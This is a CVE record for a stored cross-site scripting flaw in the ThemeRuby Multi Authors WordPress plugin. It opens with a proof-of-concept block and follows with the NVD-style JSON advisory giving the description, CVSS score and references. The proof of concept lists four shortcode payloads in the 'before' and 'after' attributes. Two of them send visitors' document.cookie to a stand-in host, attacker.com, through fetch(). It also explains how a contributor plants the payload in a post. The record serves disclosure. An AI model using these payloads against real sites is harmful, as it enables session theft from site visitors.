CVE-2026-1097

<!-- WordPress ThemeRuby Multi Authors XSS PoC --> <!-- Required: Contributor-level access or higher --> <!-- PoC 1: XSS via 'before' attribute --> [authors_list before='<img src=x onerror=alert(document.cookie)>'] <!-- PoC 2: XSS via 'after' attribute --> [authors_list after='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- PoC 3: Combined attributes --> [authors_list before='<svg onload=fetch("https://attacker.com/log?data="+btoa(document.cookie))>' after='</svg>'] <!-- PoC 4: Using in Gutenberg block or classic editor --> <!-- Insert the shortcode in any post/page content area --> <!-- When victim visits the page, XSS payload executes automatically -->

{"cve": {"id": "CVE-2026-1097", "sourceIdentifier": "[email protected]", "published": "2026-01-24T08:16:09.003", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ThemeRuby Multi Authors – Assign Multiple Writers to Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'before' and 'after' shortcode attributes in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin ThemeRuby Multi Authors – Assign Multiple Writers to Posts para WordPress es vulnerable a cross-site scripting almacenado a través de los atributos 'before' y 'after' del shortcode en todas las versiones hasta la 1.0.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/themeruby-multi-authors/tags/1.0.0/includes/class-tma-shortcodes.php#L76", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/themeruby-multi-authors/trunk/includes/class-tma-shortcodes.php#L76", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3446398/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ca74bb1d-1954-4869-aaa9-bf66600cdf2a?source=cve", "source": "[email protected]"}]}}